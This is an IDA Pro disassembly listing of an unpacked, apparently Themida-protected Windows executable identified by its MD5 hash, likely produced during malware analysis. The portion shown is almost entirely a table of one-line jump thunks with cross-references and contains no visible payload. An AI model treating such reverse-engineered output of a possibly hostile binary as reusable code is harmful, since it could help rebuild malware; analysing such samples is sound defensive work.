;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	55DD86439BE077422D1B5599A6FC8166

; File Name   :	u:\work\55dd86439be077422d1b5599a6fc8166_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000	db 5 dup(0CCh)		; DATA XREF: Themida_:0057ABCCo
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BE6p
					; ___:00414481p
		jmp	sub_414230
